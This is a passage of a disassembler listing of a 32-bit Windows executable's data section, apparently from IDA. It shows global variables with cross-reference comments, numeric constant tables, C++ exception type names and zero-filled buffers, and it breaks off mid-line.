DATA XREF: sub_424502o dword_43CCA8 dd 7080h ; DATA XREF: sub_422669+76r ; sub_4247EC+5Ew ... dword_43CCAC dd 1 ; DATA XREF: sub_422669+98r ; sub_4247EC+8Bw ... dword_43CCB0 dd 0FFFFF1F0h ; DATA XREF: sub_422669:loc_42271Br ; sub_4247EC+94w ... off_43CCB4 dd offset dword_545350 ; DATA XREF: ___:off_43CD34o dd 0Fh dup(0) off_43CCF4 dd offset dword_544450 ; DATA XREF: ___:off_43CD38o dd 0Fh dup(0) off_43CD34 dd offset off_43CCB4 ; DATA XREF: sub_4247EC+BAr ; sub_4247EC+D9r ... off_43CD38 dd offset off_43CCF4 ; DATA XREF: sub_4247EC+F4r ; sub_4247EC+11Br ... align 10h dword_43CD40 dd 0FFFFFFFFh ; DATA XREF: sub_4247EC+1Dw ; sub_424A4A+1Er ... dword_43CD44 dd 0 ; DATA XREF: sub_424A4A:loc_424B7Er ; sub_424BF6+BFw dword_43CD48 dd 0 ; DATA XREF: sub_424A4A+192r ; sub_424BF6+E0w align 10h dword_43CD50 dd 0FFFFFFFFh ; DATA XREF: sub_4247EC+17w ; sub_424A4A+26r ... dword_43CD54 dd 0 ; DATA XREF: sub_424A4A+13Ar ; sub_424BF6+EAw ... dword_43CD58 dd 0 ; DATA XREF: sub_424A4A+1A1r ; sub_424BF6+23r ... dword_43CD5C dd 0FFFFFFFFh ; DATA XREF: sub_424BF6+84r dd 1Eh, 3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h, 0F3h, 111h, 130h dd 14Eh dword_43CD8C dd 16Dh ; DATA XREF: sub_422669+2Ar ; sub_424BF6+2Er ... dword_43CD90 dd 0FFFFFFFFh ; DATA XREF: sub_424BF6:loc_424C82r dd 1Eh, 3Ah, 59h, 77h, 96h, 0B4h, 0D3h, 0F2h, 110h, 12Fh dd 14Dh, 16Ch, 0 dword_43CDC8 dd 2 dup(0) ; DATA XREF: sub_425DDA+7o dd 4002A000h, 2 dup(0) dd 4005C800h, 2 dup(0) dd 4008FA00h, 2 dup(0) dd 400C9C40h, 2 dup(0) ; --------------------------------------------------------------------------- push eax retn ; --------------------------------------------------------------------------- dw 400Fh dd 2 dup(0) dd 4012F424h, 0 dd 80000000h, 40169896h, 0 dd 20000000h, 4019BEBCh, 0 dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch dd 52028A20h, 7525C460h, 0 dword_43CF28 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h ; DATA XREF: sub_425DDA+1Bo dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h dd 4C8D2CEh, 0AD8A6DDh off_43D084 dd offset off_427D68 ; DATA XREF: ___:00427F44o ; ___:00428030o dd 0 a_?avexception@ db '.?AVexception@@',0 off_43D09C dd offset off_427D68 ; DATA XREF: ___:off_427DF8o ; ___:00427E38o ... dd 0 a_?avlogic_erro db '.?AVlogic_error@std@@',0 align 4 off_43D0BC dd offset off_427D68 ; DATA XREF: ___:off_427E40o ; ___:00427E84o ... dd 0 a_?avout_of_ran db '.?AVout_of_range@std@@',0 align 4 off_43D0DC dd offset off_427D68 ; DATA XREF: ___:off_427E8Co ; ___:00427ED0o ... dd 0 a_?avlength_err db '.?AVlength_error@std@@',0 align 10h off_43D100 dd offset off_427D68 ; DATA XREF: ___:off_427ED8o ; ___:00427F14o align 8 a_?avtype_info@ db '.?AVtype_info@@',0 dd offset sub_42470C align 10h dword_43D120 dd 2 dup(0) ; DATA XREF: sub_40111D+C8o dword_43D128 dd 2 dup(0) ; DATA XREF: sub_40111D+62o ; ___:0040146Eo ... dword_43D130 dd 0 ; DATA XREF: ___:004015B0o ; sub_401ACD+B07o ... dd 5 dup(0) dword_43D148 dd 0 ; DATA XREF: sub_401ACD+B63r ; sub_4150B4+60r dd 2D9h dup(0) dword_43DCB0 dd 0 ; DATA XREF: sub_401ACD+5E62r ; sub_401ACD+5F3Fr ... dd 7Fh dup(0) dword_43DEB0 dd 0 ; DATA XREF: sub_40B0F6+41w ; sub_40B231+40w ... dword_43DEB4 dd 0 ; DATA XREF: sub_40B0F6+47w ; sub_40B231+46w ... dword_43DEB8 dd 0 ; DATA XREF: sub_40B0F6+52w ; sub_40B231+3Ar ... dword_43DEBC dd 0 ; DATA XREF: sub_40111D+Cr ; sub_4017ED+B9w ... dword_43DEC0 dd 0 ; DATA XREF: sub_40B231+75r ; sub_40B412+2Aw ... dword_43DEC4 dd 0 ; DATA XREF: ___:004015FFw ; ___:00401677w ... byte_43DEC8 db 0 ; DATA XREF: sub_4017ED+91o ; sub_401ACD+5DA7r ... align 4 dd 1E21h dup(0) dword_445750 dd 2A3Fh dup(0) ; DATA XREF: ___:0043375Co db 0 byte_45004D db 3 dup(0) ; DATA XREF: ___:00437A48o dword_450050 dd 1CFCh dup(0) db 0 byte_457441 db 3 dup(0) ; DATA XREF: ___:off_4384B8o dword_457444 dd 17780h dup(0) db 0 byte_4B5245 db 3 dup(0) ; DATA XREF: ___:off_438324o dd 569Ah dup(0) dword_4CACB0 dd 0 ; DATA XREF: sub_40111D+FDw ; sub_40B0F6+13o ... dword_4CACB4 dd 0 ; DATA XREF: ___:0040125Ew ; sub_401ACD:loc_4044D7r ... dword_4CACB8 dd 0 ; DATA XREF: ___:loc_4016FFo dword_4CACBC dd 20h dup(0) ; DATA XREF: ___:004016B6o ; ___:00401750o ... dword_4CAD3C dd 10h dup(0) ; DATA XREF: ___:004016CCo dword_4CAD7C dd 24h dup(0) ; DATA XREF: ___:004016E3o dword_4CAE0C dd 0 ; DATA XREF: ___:004016D7w ; ___:00401767w ... dword_4CAE10 dd 0 ; DATA XREF: ___:004016F6w align 10h byte_4CAE20 db 0 ; DATA XREF: sub_401955+28r ; sub_401955+30o align 4 dword_4CAE24 dd 0 ; DATA XREF: ___:00401704w ; ___:0040171Br ... dword_4CAE28 dd 0 ; DATA XREF: ___:004016BBw ; sub_401ACD+8BEr dword_4CAE2C dd 0 ; DATA XREF: sub_401ACD+7DBFo ; sub_40C9A4+13o ... dword_4CAE30 dd 0 ; DATA XREF: sub_409B12+4A7w ; sub_409B12+4EBr ... dword_4CAE34 dd 0 ; DATA XREF: sub_409B12+65w ; sub_4196BC+166r dword_4CAE38 dd 0 ; DATA XREF: sub_409B12+80Bw ; sub_409B12+880r ... dword_4CAE3C dd 0 ; DATA XREF: sub_409B12+9D8w ; sub_409B12+A43r ... dword_4CAE40 dd 0 ; DATA XREF: sub_409B12+98Aw ; sub_409B12+A13r ... dword_4CAE44 dd 0 ; DATA XREF: sub_409B12+48Dw ; sub_409B12+4DBr ... dword_4CAE48 dd 0 ; DATA XREF: sub_409B12+213w ; sub_409B12+234r dword_4CAE4C dd 0 ; DATA XREF: sub_409B12+9CBw ; sub_409B12+A3Br ... dword_4CAE50 dd 0 ; DATA XREF: sub_409B12+372w ; sub_409B12+3C7r ... dword_4CAE54 dd 0 ; DATA XREF: sub_409B12+40Fw ; sub_41AA42+11Er dword_4CAE58 dd 0 ; DATA XREF: sub_409B12+37Fw ; sub_409B12+3CFr ... dword_4CAE5C dd 0 ; DATA XREF: sub_409B12+3C0w ; sub_418C8E+ADr dword_4CAE60 dd 0 ; DATA XREF: sub_409B12+55Aw ; sub_40F0D5+115r ... dword_4CAE64 dd 0 ; DATA XREF: sub_409B12+72w ; sub_409B12+D2r ... dword_4CAE68 dd 0 ; DATA XREF: sub_409B12+97Dw ; sub_409B12+A06r ... dword_4CAE6C dd 0 ; DATA XREF: sub_409B12+3A6w ; sub_409B12+3E7r ... dword_4CAE70 dd 0 ; DATA XREF: sub_409B12+859w ; sub_409B12+8ACr ... dword_4CAE74 dd 0 ; DATA XREF: sub_409B12+2A5w ; sub_409B12+2F0r ... dword_4CAE78 dd 0 ; DATA XREF: sub_409B12+84Cw ; sub_409B12+8A4r ... dword_4CAE7C dd 0 ; DATA XREF: sub_409B12+B3w dword_4CAE80 dd 0 ; DATA XREF: sub_409B12+866w ; sub_409B12+8B4r ... dword_4CAE84 dd 0 ; DATA XREF: sub_409B12+54Dw ; sub_409B12+6D0r ... dword_4CAE88 dd 0 ; DATA XREF: sub_409B12+58w ; sub_409B12+CAr ... dword_4CAE8C dd 0 ; DATA XREF: sub_409B12+934w dword_4CAE90 dd 0 ; DATA XREF: sub_401ACD:loc_403F25r ; sub_409B12+A95w ... dword_4CAE94 dd 0 ; DATA XREF: sub_409B12+A6w ; sub_409B12+F2r dword_4CAE98 dd 0 ; DATA XREF: sub_409B12+480w ; sub_409B12+4D3r ... dword_4CAE9C dd 0 ; DATA XREF: sub_409B12+5F6w ; sub_40BFA3+20r dword_4CAEA0 dd 0 ; DATA XREF: sub_409B12+9BEw ; sub_409B12+A33r dword_4CAEA4 dd 0 ; DATA XREF: sub_409B12+5E9w ; sub_409B12+754r ... dword_4CAEA8 dd 0 ; DATA XREF: sub_409B12+A0Cw dword_4CAEAC dd 0 ; DATA XREF: sub_409B12+B50w dword_4CAEB0 dd 0 ; DATA XREF: sub_409B12+7FEw ; sub_409B12+86Dr ... dword_4CAEB4 dd 0 ; DATA XREF: sub_409B12+1B3w ; sub_40B2F1+3Do ... dword_4CAEB8 dd 0 ; DATA XREF: sub_409B12+997w ; sub_409B12+A1Br ... dword_4CAEBC dd 0 ; DATA XREF: sub_409B12+38Cw ; sub_409B12+3D7r ... dword_4CAEC0 dd 0 ; DATA XREF: sub_409B12+399w ; sub_409B12+3DFr ... dword_4CAEC4 dd 0 ; DATA XREF: sub_409B12+C85w ; sub_409B12+C8Cr ... dword_4CAEC8 dd 0 ; DATA XREF: sub_409B12+6ACw ; ___:0041088Fr dword_4CAECC dd 0 ; DATA XREF: sub_40111D+1Dr ; sub_40111D+23r ... dword_4CAED0 dd 0 ; DATA XREF: sub_409B12+4B4w ; sub_4153BC+207r dword_4CAED4 dd 0 ; DATA XREF: sub_409B12+9E5w ; sub_409B12+A4Br ... dword_4CAED8 dd 0 ; DATA XREF: sub_401000+51r ; sub_409B12+2B2w ... dword_4CAEDC dd 0 ; DATA XREF: sub_409B12+7Fw ; sub_409B12+DAr ... dword_4CAEE0 dd 0 ; DATA XREF: sub_401ACD+5911r ; sub_401ACD+79CEr ... dword_4CAEE4 dd 0 ; DATA XREF: ___:004012ADr ; sub_401ACD+5117r ... dword_4CAEE8 dd 0 ; DATA XREF: sub_409B12+825w ; sub_409B12+890r ... dword_4CAEEC dd 0 ; DATA XREF: sub_409B12+9A4w ; sub_409B12+A23r dword_4CAEF0 dd 0 ; DATA XREF: sub_409B12+C0Ew ; sub_409B12+C3Fr dword_4CAEF4 dd 0 ; DATA XREF: sub_409B12+2CCw ; sub_4184E1+47r dword_4CAEF8 dd 0 ; DATA XREF: sub_409B12+22Dw dword_4CAEFC dd 0 ; DATA XREF: sub_409B12+91Aw ; sub_409B12+92Er dword_4CAF00 dd 0 ; DATA XREF: sub_409B12+C28w dword_4CAF04 dd 0 ; DATA XREF: sub_409B12+2D9w ; sub_4184E1+4Fr dword_4CAF08 dd 0 ; DATA XREF: sub_409B12+574w ; sub_409B12+6E8r ... dword_4CAF0C dd 0 ; DATA XREF: sub_409B12+83Fw ; sub_409B12+873r dword_4CAF10 dd 0 ; DATA XREF: sub_409B12+220w ; sub_409B12+23Cr dword_4CAF14 dd 0 ; DATA XREF: sub_409B12+172w ; sub_409B12+1C2r ... dword_4CAF18 dd 0 ; DATA XREF: sub_401ACD+1E30r ; sub_401ACD+5AC7r ... dword_4CAF1C dd 0 ; DATA XREF: sub_4017ED+C4r ; sub_401ACD+51A1r ... dword_4CAF20 dd 0 ; DATA XREF: sub_409B12+567w ; sub_409B12+6DCr ... dword_4CAF24 dd 0 ; DATA XREF: sub_409B12+8DBw ; sub_409B12:loc_40A40Bw ... dword_4CAF28 dd 0 ; DATA XREF: sub_401000+26r ; sub_409B12+28Bw ... dword_4CAF2C dd 0 ; DATA XREF: sub_401ACD+7959r ; sub_409B12+69Fw ... dword_4CAF30 dd 0 ; DATA XREF: sub_409B12+32Dw ; sub_409B12+341r ... dword_4CAF34 dd 0 ; DATA XREF: sub_409B12+3B3w ; sub_409B12+3EFr ... dword_4CAF38 dd 0 ; DATA XREF: sub_409B12+C01w ; sub_409B12+C37r dword_4CAF3C dd 0 ; DATA XREF: sub_409B12+818w ; sub_409B12+888r ... dword_4CAF40 dd 0 ; DATA XREF: sub_409B12+206w ; sub_409B12+227r dword_4CAF44 dd 0 ; DATA XREF: sub_409B12+18Cw ; sub_409B12+1D2r ... dword_4CAF48 dd 0 ; DATA XREF: sub_409B12+832w ; sub_409B12+898r ... dword_4CAF4C dd 0 ; DATA XREF: sub_409B12+624w ; sub_409B12+774r dword_4CAF50 dd 0 ; DATA XREF: sub_401000+5Ar ; sub_409B12+2BFw ... dword_4CAF54 dd 0 ; DATA XREF: sub_409B12+66Bw ; sub_409B12+79Cr ... dword_4CAF58 dd 0 ; DATA XREF: sub_409B12+320w ; sub_409B12+334r ... dword_4CAF5C dd 0 ; DATA XREF: sub_409B12+644w ; sub_409B12+784r ... dword_4CAF60 dd 0 ; DATA XREF: sub_409B12+44Cw ; sub_409B12+4AEr ... dword_4CAF64 dd 0 ; DATA XREF: sub_409B12+199w ; sub_409B12+1DAr ... dword_4CAF68 dd 0 ; DATA XREF: sub_409B12+365w ; sub_409B12+3BAr ... dword_4CAF6C dd 0 ; DATA XREF: sub_409B12+AA2w dword_4CAF70 dd 0 ; DATA XREF: sub_409B12+5DCw ; sub_409B12+748r ... dword_4CAF74 dd 0 ; DATA XREF: sub_4017ED+3Er ; sub_401ACD+5153r ... dword_4CAF78 dd 0 ; DATA XREF: sub_409B12+4Bw ; sub_409B12+C2r ... dword_4CAF7C dd 0 ; DATA XREF: sub_409B12+473w ; sub_409B12+4CBr ... dword_4CAF80 dd 0 ; DATA XREF: sub_409B12+165w ; sub_409B12+1BAr ... dword_4CAF84 dd 0 ; DATA XREF: sub_409B12+9FFw ; sub_409B12+A5Br ... dword_4CAF88 dd 0 ; DATA XREF: sub_409B12+685w ; sub_409B12+7ACr ... dword_4CAF8C dd 0 ; DATA XREF: sub_401955+D1r ; sub_401ACD+51B6r ... dword_4CAF90 dd 0 ; DATA XREF: sub_409B12+C1Bw ; sub_409B12+C47r dword_4CAF94 dd 0 ; DATA XREF: sub_409B12+3Ew ; sub_409B12+BAr ... dword_4CAF98 dd 0 ; DATA XREF: sub_401000+45r ; sub_409B12+298w ... dword_4CAF9C dd 0 ; DATA XREF: sub_409B12+651w ; sub_409B12+78Cr ... dword_4CAFA0 dd 0 ; DATA XREF: sub_409B12+637w ; sub_409B12+77Cr ... dword_4CAFA4 dd 0 ; DATA XREF: sub_401ACD+73B9r ; sub_409B12+C92w dword_4CAFA8 dd 0 ; DATA XREF: sub_409B12+879w ; ___:004168D5r ... dword_4CAFAC dd 0 ; DATA XREF: sub_409B12+112w dword_4CAFB0 dd 0 ; DATA XREF: sub_409B12+BE7w ; sub_409B12+C22r dword_4CAFB4 dd 0 ; DATA XREF: sub_401ACD+2FE4r ; sub_401ACD+5F98r ... dword_4CAFB8 dd 0 ; DATA XREF: sub_409B12+459w ; sub_409B12+4BBr ... dword_4CAFBC dd 0 ; DATA XREF: sub_409B12+49Aw ; sub_409B12+4E3r ... dword_4CAFC0 dd 0 ; DATA XREF: sub_409B12+466w ; sub_409B12+4C3r ... dword_4CAFC4 dd 0 ; DATA XREF: sub_401955+89r ; sub_401ACD+51D3r ... dword_4CAFC8 dd 0 ; DATA XREF: sub_409B12+1A6w ; sub_409B12+1E2r ... dword_4CAFCC dd 0 ; DATA XREF: sub_409B12+9F2w ; sub_409B12+A53r ... dword_4CAFD0 dd 0 ; DATA XREF: sub_409B12+158w ; sub_409B12+1ADr ... dword_4CAFD4 dd 0 ; DATA XREF: sub_409B12+8Cw ; sub_409B12+E2r ... dword_4CAFD8 dd 0 ; DATA XREF: sub_409B12+610w ; sub_409B12+764r ... dword_4CAFDC dd 0 ; DATA XREF: sub_409B12+B43w ; sub_409B12+B5Fr dword_4CAFE0 dd 0 ; DATA XREF: sub_409B12+33Aw ; sub_419651+55r dword_4CAFE4 dd 0 ; DATA XREF: sub_409B12+27Ew ; sub_409B12+2D3r ... dword_4CAFE8 dd 0 ; DATA XREF: sub_409B12+BAAw dword_4CAFEC dd 0 ; DATA XREF: sub_409B12+AECw ; sub_40AB31+CEr dword_4CAFF0 dd 0 ; DATA XREF: sub_409B12+ADFw ; sub_409B12+AE6r ... dword_4CAFF4 dd 0 ; DATA XREF: sub_4017ED+A6r ; sub_401ACD+5132r ... dword_4CAFF8 dd 0 ; DATA XREF: sub_401ACD+5124r ; sub_401ACD+7980r ... dword_4CAFFC dd 0 ; DATA XREF: sub_409B12+BF4w ; sub_409B12+C2Fr dword_4CB000 dd 0 ; DATA XREF: sub_401ACD+1E56r ; sub_401ACD+5AEDr ... dword_4CB004 dd 0 ; DATA XREF: sub_409B12+9B1w ; sub_409B12+A2Br ... dword_4CB008 dd 0 ; DATA XREF: sub_409B12+65Ew ; sub_409B12+794r ... dword_4CB00C dd 0 ; DATA XREF: sub_40111D+12r ; sub_4017ED+D0r ... dword_4CB010 dd 0 ; DATA XREF: sub_409B12+59Bw ; sub_409B12+70Cr ... dword_4CB014 dd 0 ; DATA XREF: sub_409B12+B36w ; sub_409B12+B57r dword_4CB018 dd 0 ; DATA XREF: sub_409B12+540w ; sub_409B12+6C4r ... dword_4CB01C dd 0 ; DATA XREF: sub_409B12+B29w ; sub_409B12+B4Ar dword_4CB020 dd 0 ; DATA XREF: ___:00401273r ; sub_409B12+31w ... dword_4CB024 dd 0 ; DATA XREF: sub_409B12+17Fw ; sub_409B12+1CAr ... dd 0 dword_4CB02C dd 0 ; DATA XREF: sub_409B12+927w ; sub_409B12+93Br dword_4CB030 dd 0 ; DATA XREF: sub_409B12+99w ; sub_409B12+EAr ... dword_4CB034 dd 0 ; DATA XREF: sub_409B12:loc_409C10w ; sub_409B12+12Bw ... dword_4CB038 dd 0 ; DATA XREF: sub_409B12+126w ; sub_40A7CE+1Cr dword_4CB03C dd 0 ; DATA XREF: sub_409B12:loc_409D00w ; sub_409B12:loc_409D67w ... dword_4CB040 dd 0 ; DATA XREF: sub_409B12+250w ; sub_40A7CE+50r dword_4CB044 dd 0 ; DATA XREF: ___:0040156Ar ; sub_401ACD+4567r ... dword_4CB048 dd 0 ; DATA XREF: sub_409B12+41Ew ; sub_40A7CE+84r dword_4CB04C dd 0 ; DATA XREF: sub_409B12:loc_40A016w ; sub_40A7CE:loc_40A87Er dword_4CB050 dd 0 ; DATA XREF: sub_409B12+4FFw ; sub_40A7CE+B8r dword_4CB054 dd 0 ; DATA XREF: sub_409B12:loc_40A2E7w ; sub_40A7CE:loc_40A8B2r dword_4CB058 dd 0 ; DATA XREF: sub_409B12+7D0w ; sub_40A7CE+ECr dword_4CB05C dd 0 ; DATA XREF: sub_409B12:loc_40A3D2w ; sub_409B12+8EFw ... dword_4CB060 dd 0 ; DATA XREF: sub_409B12+8EAw ; sub_40A7CE+120r dword_4CB064 dd 0 ; DATA XREF: sub_401ACD:loc_406F17r ; sub_409B12:loc_40A466w ... dword_4CB068 dd 0 ; DATA XREF: sub_409B12+94Fw ; sub_40A7CE+154r dword_4CB06C dd 0 ; DATA XREF: sub_401ACD+456Fr ; sub_409B12:loc_40A582w ... dword_4CB070 dd 0 ; DATA XREF: sub_409B12+A6Bw ; sub_40A7CE+188r dword_4CB074 dd 0 ; DATA XREF: sub_409B12:loc_40A5CCw ; sub_40A7CE:loc_40A982r dword_4CB078 dd 0 ; DATA XREF: sub_409B12+AB5w ; sub_40A7CE+1BCr dword_4CB07C dd 0 ; DATA XREF: sub_409B12:loc_40A616w ; sub_40A7CE:loc_40A9B6r dword_4CB080 dd 0 ; DATA XREF: sub_409B12+AFFw ; sub_40A7CE+1F0r dword_4CB084 dd 0 ; DATA XREF: sub_409B12:loc_40A68Aw ; sub_40A7CE:loc_40A9EAr dword_4CB088 dd 0 ; DATA XREF: sub_409B12+B73w ; sub_40A7CE+224r dword_4CB08C dd 0 ; DATA XREF: sub_409B12:loc_40A6D4w ; sub_40A7CE:loc_40AA1Er dword_4CB090 dd 0 ; DATA XREF: sub_409B12+BBDw ; sub_40A7CE+258r dword_4CB094 dd 0 ; DATA XREF: sub_409B12:loc_40A772w ; sub_40A7CE:loc_40AA52r dword_4CB098 dd 0 ; DATA XREF: sub_409B12+C5Bw ; sub_40A7CE+28Cr dword_4CB09C dd 0 ; DATA XREF: sub_409B12:loc_40A7BCw ; sub_40A7CE:loc_40AA86r dword_4CB0A0 dd 0 ; DATA XREF: sub_409B12+CA5w ; sub_40A7CE+2C0r dword_4CB0A4 dd 7 dup(0) ; DATA XREF: sub_40AC0F+32o dword_4CB0C0 dd 0 ; DATA XREF: sub_40BA56+18r ; sub_40BFEB+92w ... dword_4CB0C4 dd 0 ; DATA XREF: sub_40C124+4Dr ; sub_40C124+2F1w ... dd 7FEh dup(0) dword_4CD0C0 dd 6 dup(0) ; DATA XREF: sub_40C124+D2o ; sub_40C124+13Bo ... dword_4CD0D8 dd 0 ; DATA XREF: sub_40BACD+2C4w ; sub_40BACD+348o dword_4CD0DC dd 0 ; DATA XREF: sub_40BACD+33Ew ; sub_40BACD+35Ar dword_4CD0E0 dd 0 ; DATA XREF: sub_40BACD+2CFw dword_4CD0E4 dd 0 ; DATA XREF: sub_40BACD+2B9w ; sub_40BACD:loc_40BDE2r dword_4CD0E8 dd 20h dup(0) ; DATA XREF: sub_40BACD+2E2o ; sub_40BACD+302o dword_4CD168 dd 0 ; DATA XREF: sub_40BACD+2D5w dword_4CD16C dd 0 ; DATA XREF: sub_40BACD+2EFw ; sub_40BACD+30Fw dword_4CD170 dd 0 ; DATA XREF: sub_40BACD:loc_40BE3Dr align 8 dword_4CD178 dd 0 ; DATA XREF: sub_40BACD+82w ; sub_40BACD+101o dword_4CD17C dd 41h dup(0) ; DATA XREF: sub_40BACD+41o dword_4CD280 dd 41h dup(0) ; DATA XREF: sub_40BACD+69o dword_4CD384 dd 0 ; DATA XREF: sub_40BACD+F7w ; sub_40BACD+113r dword_4CD388 dd 0 ; DATA XREF: sub_40BACD+52w dword_4CD38C dd 0 ; DATA XREF: sub_40BACD+4Dw ; sub_40BACD+D4r dword_4CD390 dd 20h dup(0) ; DATA XREF: sub_40BACD+9Ao ; sub_40BACD+BAo dword_4CD410 dd 0 ; DATA XREF: sub_40BACD+8Fw dword_4CD414 dd 0 ; DATA XREF: sub_40BACD+A7w ; sub_40BACD+C7w dword_4CD418 dd 0 ; DATA XREF: sub_40BACD:loc_40BBF6r align 10h dword_4CD420 dd 0 ; DATA XREF: sub_40BACD+1A5w ; sub_40BACD+225o dword_4CD424 dd 41h dup(0) ; DATA XREF: sub_40BACD+167o dword_4CD528 dd 41h dup(0) ; DATA XREF: sub_40BACD+18Co dword_4CD62C dd 0 ; DATA XREF: sub_40BACD+21Bw ; sub_40BACD+237r dword_4CD630 dd 0 ; DATA XREF: sub_40BACD+17Aw dword_4CD634 dd 0 ; DATA XREF: sub_40BACD+175w ; sub_40BACD+1F8r dword_4CD638 dd 20h dup(0) ; DATA XREF: sub_40BACD+1BEo ; sub_40BACD+1DEo dword_4CD6B8 dd 0 ; DATA XREF: sub_40BACD+1B1w dword_4CD6BC dd 0 ; DATA XREF: sub_40BACD+1CBw ; sub_40BACD+1EBw dword_4CD6C0 dd 0 ; DATA XREF: sub_40BACD:loc_40BD1Ar align 8 dword_4CD6C8 dd 0 ; DATA XREF: sub_40BACD+417w ; sub_40BACD+470o dword_4CD6CC dd 0A2h dup(0) ; DATA XREF: sub_40BACD+405o dword_4CD954 dd 41h dup(0) ; DATA XREF: sub_40BACD+3CFo dword_4CDA58 dd 0 ; DATA XREF: sub_40BACD+3FCw ; sub_40BACD+423r align 10h dword_4CDA60 dd 0 ; DATA XREF: sub_40BACD+466w ; sub_40BACD+482r dword_4CDA64 dd 0 ; DATA XREF: sub_40BACD+429w dword_4CDA68 dd 0 ; DATA XREF: sub_40BACD+436w dword_4CDA6C dd 0 ; DATA XREF: sub_40BACD+3F6w dd 0 dword_4CDA74 dd 0 ; DATA XREF: sub_40BACD:loc_40BF65r dd 0 dword_4CDA7C dd 0 ; DATA XREF: sub_40B719+Er ; sub_40B719+32r dword_4CDA80 dd 0 ; DATA XREF: sub_40B719+9r ; sub_40B719+26r dword_4CDA84 dd 82h dup(0) ; DATA XREF: sub_40C59B+8Do dword_4CDC8C dd 2 dup(0) ; DATA XREF: sub_40CF04+68o dword_4CDC94 dd 0 ; DATA XREF: sub_40D89F+8w ; ___:0040DC6Eo dd 0 dword_4CDC9C dd 2 dup(0) ; DATA XREF: ___:0040DBA4o dword_4CDCA4 dd 0 ; DATA XREF: ___:0040E4D7r dd 0 dd 0 dword_4CDCB0 dd 0 ; DATA XREF: ___:0040E4AAr dword_4CDCB4 dd 0 ; DATA XREF: ___:0040E48Cr ; ___:0040E4F5r dd 0 dword_4CDCBC dd 0 ; DATA XREF: sub_40BACD+2AEr ; ___:0040E6E8w dd 0 dword_4CDCC4 dd 0 ; DATA XREF: sub_40B785+1Cr dword_4CDCC8 dd 0 ; DATA XREF: ___:0040EFE8w ; ___:0040F00Fr ... dd 3 dup(0) dword_4CDCD8 dd 0 ; DATA XREF: ___:00410905r align 10h dword_4CDCE0 dd 0 ; DATA XREF: sub_412351+4w ; sub_412351+9o dd 109h dup(0) dword_4CE108 dd 188h dup(0) ; DATA XREF: sub_401ACD+2F6Eo ; sub_401ACD:loc_404AC4o dword_4CE728 dd 0 ; DATA XREF: sub_401ACD+1A23w ; sub_401ACD+2F66r ... dd 11Ch dup(0) dword_4CEB9C dd 1000h dup(0) ; DATA XREF: sub_4151AC+1Do ; sub_41524Co ... dword_4D2B9C dd 0 ; DATA XREF: sub_4151AC+13o ; sub_41524C+Eo ... dword_4D2BA0 dd 0 ; DATA XREF: sub_4155F7+Fr ; sub_4157F0+12r align 8 dword_4D2BA8 dd 0Eh dup(0) ; DATA XREF: sub_416922+Fo dword_4D2BE0 dd 80h dup(0) ; DATA XREF: sub_4175E9+41o dword_4D2DE0 dd 200h dup(0) ; DATA XREF: sub_416F1A+C7o ; sub_417275+DDo ... dword_4D35E0 dd 200h dup(0) ; DATA XREF: sub_416F1A+D6o ; sub_417275+F4o ... dword_4D3DE0 dd 0 ; DATA XREF: sub_416F1A+86w ; sub_4170EC+94r dword_4D3DE4 dd 0 ; DATA XREF: sub_416F1A+A7w ; sub_417552+55r ... dword_4D3DE8 dd 0 ; DATA XREF: sub_416F1A+A0w ; sub_4170EC+D6r ... dword_4D3DEC dd 0 ; DATA XREF: sub_416F1A+79w ; sub_4170EC+35r ... dword_4D3DF0 dd 80h dup(0) ; DATA XREF: sub_417552+5Eo dword_4D3FF0 dd 0 ; DATA XREF: sub_416F1A+93w ; sub_4170EC+A2r align 8 dword_4D3FF8 dd 0 ; DATA XREF: sub_416F1A+E7o ; sub_416F1A+103r ... dword_4D3FFC dd 0 ; DATA XREF: sub_417275+17Bw ; sub_41741C+107w dword_4D4000 dd 0 ; DATA XREF: sub_417275+180w ; sub_41741C+10Dw ... dword_4D4004 dd 0 ; DATA XREF: 